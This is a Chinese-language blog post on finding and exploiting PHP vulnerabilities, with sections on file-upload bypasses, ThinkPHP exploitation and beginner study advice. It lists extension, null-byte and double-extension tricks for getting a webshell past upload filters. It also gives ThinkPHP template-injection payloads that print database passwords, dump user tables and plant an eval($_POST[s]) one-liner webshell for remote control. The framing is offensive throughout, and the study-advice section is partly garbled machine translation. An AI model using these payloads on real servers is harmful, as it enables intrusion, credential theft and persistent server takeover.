php漏洞挖掘教程,php漏洞利用

本文目錄一覽:

文件上傳漏洞有哪些挖掘思路?

文件上傳漏洞作為獲取伺服器許可權最快的方式,雖然相關資料很多,但很多人對上傳校驗方式、如何針對性繞過檢測、哪種上傳和解析的場景會產生危害等還是比較模糊。本文作一些闡述,然後補充一些除了上傳webshell的其他非常規挖掘姿勢,包括XSS、重定向、Dos、CSRF等等。

1、基礎知識:

要深入了解文件上傳,必須了解上傳屬性、常見文件的結構、圖形處理函數等內容。

1) 報文特點:

觀察文件上傳報文的特點:

Header中Content-Type特徵有二:

1.multipart/form-data(form表單的enctype屬性,規定為二進位數據)

2.boundary字元串(作用為分隔符,以區分POST數據)

POST內容特徵有五:

1.Content-Disposition:form-data

2. name:input表單名

3.filename:文件名

4.Content-Type:定義文件的類型和網頁的編碼,決定瀏覽器將以什麼形式、什麼編碼讀取這個文件;

5.boundary:Content-Type的值前面加了兩個—

2) 常見校驗規則

現存常用的上傳校驗規則無非下面幾類:

1.客戶端javascript校驗(後綴名)

2.文件頭content-type欄位校驗(image/gif):附帶參數

4.後綴名黑/白名單校驗:擴展名

5.文件內容頭校驗:GIF89a

6.文件內容校驗:文件信息,二次渲染

7.自定義正則校驗

3)一個澄清

文件上傳和文件解析是兩個過程,即使我們上傳的是php文件,但解析為圖片,訪問php文件會顯示「圖片無法顯示」;或者我們上傳的是jpg文件,但裡面混有shell腳本,若被解析為php文件也會執行;又或者上傳處沒法繞過檢測,只能上傳jpg文件,但在其他功能處存在文件包含等功能,仍可執行成功。

還是回到安全的本質,上傳是「輸入」,那文件解析就是「輸出」,任何漏洞挖掘都需要結合輸入+輸出。

2、繞過技巧:

這裡匯總一些實戰中較常用的繞過技巧:

1)後綴名黑名單

以下替換後綴也可以解析為shell:

php:.phtml,.phpt,.php3,.php3p

asp:.aspx,asmx,ashx,web.config

perl:.pl,.pm,.cgi,.lib

jsp:.jspx,.jsw,.jsv,.jspf

Coldfusion:.cfm,.cfml,.cfc,.dbm

另外可以配合操作系統的文件命名規則:

.php.,.php空格,.php:1.jpg,.php::$DATA等

這些後綴的文件會被windows系統自動去掉不符合規則符號後面的內容,從而只留下.php。

2)後綴名白名單

除了結合各種伺服器解析特性,較常用的是Null Byte Injection空位元組注入,插入空位元組值的原因是某些應用程序伺服器腳本語言使用c/c++庫來檢查文件名和內容。在C/C ++中,一行以/00結尾或稱為NullByte。因此,只要解釋器在字元串的末尾看到一個空位元組,就會停止讀取,認為它已經到達字元串的末尾。

如,我們將要上傳的Happy.jpg的名稱更改為Happy.phpA.jpg,然後上傳文件,在Burp中捕獲請求,切換到Hex視圖。在字元串視圖中找到文件名。查看相應的Hex表,並將41(’A’)替換為00(為空位元組)。結果字元串變為Happy.php(空).jpeg。由於php解釋器在內部使用C語言庫,它將停止讀取Happy.php後的文件名,文件將保存為Happy.php。

另一種繞過白名單的方法是使用雙後綴:shell.php.jpg。

thinkphp 怎麼利用漏洞

1. 使用URL可以查看用戶的資料庫帳號密碼DB_NAME,DB_PASS,DB_HOST

{@print(THINK_VERSION)}

{@print(C(『』))}

{@print(C(『DB_PASS』))}

2.使用模型D方法或者M方法,猜測後台帳號密碼,當然首先要先猜一下用戶的表名了

{@var_dump(D(user)-select())}

3.直接執行一句話代碼,然後用菜刀直接連接.

{${eval($_POST[s])}} 一句話密碼:s

零基礎如何學習挖漏洞?

師傅領進門,修行在個人。

國內研究洞挖掘所謂的「地面」的習慣,吃各種各樣的編程書籍,然後研究挖洞,這個問題不是好學的編程式控制制的程度,和純首先學習編程也很無聊,很多人可能無法堅持。

編程打底

我們不打算學習編程技術,但主要是了解漏洞挖掘。我建議你先把編程放到底層,基礎的概念是:「掌握語言的基本語法,通用的功能,寫一些演示。」「如果您有一個基礎,您可以查看以前的漏洞分析文章,您會發現在這個過程中有一些困難,因此您可以遵循相關的編程技術。而不是僅僅啃著一本編程書。

學習方法

掌握基本的PHP語法,常用的PHP函數,並為常用的PHP函數編寫一些演示。然後開始看到PHP應用程序漏洞分析,開始出現一些基本的漏洞,如簡單的純get、post no intval或SQL注入的強制,看看我們以前做過的這些基本的事情。

漏洞利用

讓我們來看看一些更高級的漏洞,比如各種可變覆蓋漏洞,例如由unserialize引起的代碼執行,我們可能會發現很難開始查看這些漏洞。然後你需要回過頭來看看提取和其他函數的具體用法。

每一對$_REQUEST的變數生成過程是什麼?unserialize函數的執行流程是什麼?然後去看以前的技術文章將會是開明的。

這只是一個基本的PHP漏洞挖掘,然後熟練地嘗試查看一些漏洞分析框架,比如thinkphp,這些也涉及OOP的知識,所以回到學習PHP OOP編程,然後繼續。

總結 

所以我認為還是先好好學習好語言,然後再學其他的會更紮實。

如何查找php文件包含漏洞的方法

找360或安全聯盟檢測介面, 免費的。

主要是查上傳漏洞。可以百度下,夠學習一段時間的。

原創文章,作者:SKJC,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/141737.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
SKJC的頭像SKJC
上一篇 2024-10-08 17:56
下一篇 2024-10-08 18:04

相關推薦

  • PHP和Python哪個好找工作?

    PHP和Python都是非常流行的編程語言,它們被廣泛應用於不同領域的開發中。但是,在考慮擇業方向的時候,很多人都會有一個問題:PHP和Python哪個好找工作?這篇文章將從多個方…

    編程 2025-04-29
  • MQTT使用教程

    MQTT是一種輕量級的消息傳輸協議,適用於物聯網領域中的設備與雲端、設備與設備之間的數據傳輸。本文將介紹使用MQTT實現設備與雲端數據傳輸的方法和注意事項。 一、準備工作 在使用M…

    編程 2025-04-29
  • Python3.6.5下載安裝教程

    Python是一種面向對象、解釋型計算機程序語言。它是一門動態語言,因為它不會對程序員提前聲明變數類型,而是在變數第一次賦值時自動識別該變數的類型。 Python3.6.5是Pyt…

    編程 2025-04-29
  • Deepin系統分區設置教程

    本教程將會詳細介紹Deepin系統如何進行分區設置,分享多種方式讓您了解如何規劃您的硬碟。 一、分區的基本知識 在進行Deepin系統分區設置之前,我們需要了解一些基本分區概念。 …

    編程 2025-04-29
  • 寫代碼新手教程

    本文將從語言選擇、學習方法、編碼規範以及常見問題解答等多個方面,為編程新手提供實用、簡明的教程。 一、語言選擇 作為編程新手,選擇一門編程語言是很關鍵的一步。以下是幾個有代表性的編…

    編程 2025-04-29
  • Qt雷達探測教程

    本文主要介紹如何使用Qt開發雷達探測程序,並展示一個簡單的雷達探測示例。 一、環境準備 在開始本教程之前,需要確保你的開發環境已經安裝Qt和Qt Creator。如果沒有安裝,可以…

    編程 2025-04-29
  • 猿編程python免費全套教程400集

    想要學習Python編程嗎?猿編程python免費全套教程400集是一個不錯的選擇!下面我們來詳細了解一下這個教程。 一、課程內容 猿編程python免費全套教程400集包含了從P…

    編程 2025-04-29
  • Python煙花教程

    Python煙花代碼在近年來越來越受到人們的歡迎,因為它可以讓我們在終端里玩煙花,不僅具有視覺美感,還可以通過代碼實現動畫和音效。本教程將詳細介紹Python煙花代碼的實現原理和模…

    編程 2025-04-29
  • PHP怎麼接幣

    想要在自己的網站或應用中接受比特幣等加密貨幣的支付,就需要對該加密貨幣擁有一定的了解,並使用對應的API進行開發。本文將從多個方面詳細闡述如何使用PHP接受加密貨幣的支付。 一、環…

    編程 2025-04-29
  • 使用Snare服務收集日誌:完整教程

    本教程將介紹如何使用Snare服務收集Windows伺服器上的日誌,並將其發送到遠程伺服器進行集中管理。 一、安裝和配置Snare 1、下載Snare安裝程序並安裝。 https:…

    編程 2025-04-29

發表回復

登錄後才能評論